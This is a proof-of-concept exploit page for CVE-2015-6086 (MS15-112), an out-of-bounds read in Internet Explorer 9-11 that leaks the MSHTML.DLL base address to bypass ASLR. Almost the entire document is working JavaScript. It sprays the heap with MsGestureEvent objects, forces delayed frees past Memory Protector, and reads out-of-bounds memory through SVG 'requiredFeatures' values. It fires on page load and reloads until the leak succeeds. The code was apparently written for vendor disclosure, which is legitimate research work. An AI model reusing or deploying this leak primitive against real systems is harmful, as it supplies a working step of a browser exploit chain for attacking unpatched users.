Internet Explorer 9, 10, 11 – CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)

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<!--                        CVE-2015-6086              Out Of Bound Read Vulnerability      Address Space Layout Randomization (ASLR) Bypass  Improper handling of new line and white space character caused Out of Bound Read in CDOMStringDataList::InitFromString. This flaw can be used to leak the base address of MSHTML.DLL and effectively bypass Address Space Layout Randomization.  Affected Version:         Internet Explorer 9         Internet Explorer 10         Internet Explorer 11  Test Bed:         IE: 10 & 11         KB: KB3087038         OS: Windows 7 SP1 x86  Advisory:  Copyright 2016 © Payatu Technologies Pvt. Ltd.  Author: Ashfaq Ansari Email: ashfaq[at]payatu[dot]com Websites:     This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.  This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.  You should have received a copy of the GNU General Public License along with this program.  If not, see <>.  THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -->  <!DOCTYPE html> <html> <head>     <title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>     <meta http-equiv="pragma" content="no-cache"/>     <meta http-equiv="expires" content="0"/>     <script type="text/javascript">         /**          * This function is used to create string of desired size.          *          * @param character          * @param size          * @returns {string}          */         function createString(character, size) {             while (character.length < size) {                 character += character;             }              // BSTR structure             // header  | unicode string     | NULL terminator             // 4 bytes | sizeof(string) * 2 | 2 bytes             return character.substr(0, (size - 6) / 2);         }          /**          * This function is used to get the Internet Explorer's version.          *          * @link          * @returns {int | null}          */         function getInternetExplorerVersion() {             var userAgent = window.navigator.userAgent;             var msie = userAgent.indexOf('MSIE');              if (msie > 0) {                 return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);             }              var trident = userAgent.indexOf('Trident/');             if (trident > 0) {                 var rv = userAgent.indexOf('rv:');                 return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);             }              var edge = userAgent.indexOf('Edge/');             if (edge > 0) {                 return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);             }             return null;         }          /**          * This function is used to leak the base address of MSHTML.DLL.          *          * @param offsetOfMSHTMLBaseAddress          */         function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {             // Step 1: Let's do some clean up             CollectGarbage();              var eventArray = new Array();             var polyLineArray = new Array();             var exploitSuccessful = false;              // Step 2: As the target object is stored in Process Heap             // instead of Isolated Heap, we can use any element that             // is stored on Process Heap to spray the Heap.             //             // To create a predictable pattern on Heap, we spray using             // "MsGestureEvent" and it's size is 0x0A0. We will use             // this object to read the VFTable pointer.             for (var i = 0; i < 0x1000; i++) {                 eventArray[i] = document.createEvent('MsGestureEvent');             }              // Step 3: Now we need to create a hole in the allocation             // that we made earlier. The purpose of this hole is to             // allocate the vulnerable buffer just before the Heap             // chunk of "MsGestureEvent"             for (i = 1; i < 0x500; i += 2) {                 eventArray[i] = null;             }              // Step 4: As Memory Protector is enabled by default on all             // versions of IE, it will not allow the free of objects             // instantly. So, we need to force free the memory due to             // Delayed Frees.             CollectGarbage2();              // Step 5: Now, fill the hole that we created earlier. The             // "requiredFeatures" property is allocated on OLEAUT32 Cache             // Heap, old Plunger technique does not seems to work for me.             // I have used a neat trick to bypass OLEAUT32 Cache Heap.             for (i = 0; i < 0x250; i++) {                 polyLineArray[i] = document.createElementNS('', 'polyline');                  // Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap                 polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));                  // Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.                 polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('/n', 0x0A0));                  // Step 8: As the whole exploitation depends on certain Heap                 // layout, thus, this is unreliable. But to overcome this                 // un-reliability, I'm reloading the page until, right Heap                 // Layout is achieved.                 //                 // This PoC is created for the vendor to acknowledge this bug,                 // hence reliability is not my concern at this moment. We can                 // make it more reliable, but let's leave it for later stage.                 //                 // Some heuristics to detect if Heap is in the right state.                 // Once we have determined the Heap state, we can apply some                 // more heuristics.                 if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {                     // Step 9: Read the Out of Bound memory                     var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));                      // Step 10: Some more heuristics                     var spitValue = OOBReadMemory.split('%');                     var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));                     var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;                      // Step 11: Show the message to user                     var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);                     message += '/n';                     message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);                     alert(message);                      // Step 12: Exploit successful                     exploitSuccessful = true;                     break;                 }             }              // Step 13: As stated earlier, this is a bit unreliable.             // If the exploit has failed, reload the current page.             // If reloading does not help, close the browser and             // launch the exploit multiple times.             if (!exploitSuccessful) {                 window.location.reload();             }         }          /**          * This function is used fill the wait list of the freed objects          * and trigger Garbage Collection.          */         function CollectGarbage2() {             // Microsoft implemented Memory Protector to mitigate             // Use after Free vulnerabilities. The object protected             // by Memory Protector won't be freed directly. Instead,             // it will be put into a wait list which will be freed             // when it reaches certain threshold (i.e 100,000 bytes).             var video = new Array();              // Now allocate video element (400 bytes) 250 times             //             // Note: We are not using stack to store the references.             // If we use stack to store the references, the memory             // will never be freed during Mark and Reclaim operation             for (var i = 0; i < 250; i++) {                 video[i] = document.createElement('video');             }              // Now free the elements. It will be put into the wait list.             video = null;              // Reclaim the memory by triggering Garbage Collection             CollectGarbage();         }          /**          * This function is used to launch the exploitation by leaking          * the base address of MSHTML.DLL.          */         function LaunchExploit() {             var browserSupported = false;             var ieVersion = getInternetExplorerVersion();             var offsetOfMSHTMLBaseAddress = null;              if (ieVersion == 11) {                 // If you are getting a wrong base address, please update this value                 // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress                 offsetOfMSHTMLBaseAddress = 0x0002ebe8;                 browserSupported = true;             } else if (ieVersion == 10) {                 // If you are getting a wrong base address, please update this value                 // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress                 offsetOfMSHTMLBaseAddress = 0x0000d270;                 browserSupported = true;             } else {                 alert('Current browser is not supported!/nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');             }              // Launch the exploit             if (browserSupported) {                 LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);             }         }     </script> </head> <body onload='LaunchExploit();'> </body> </html>



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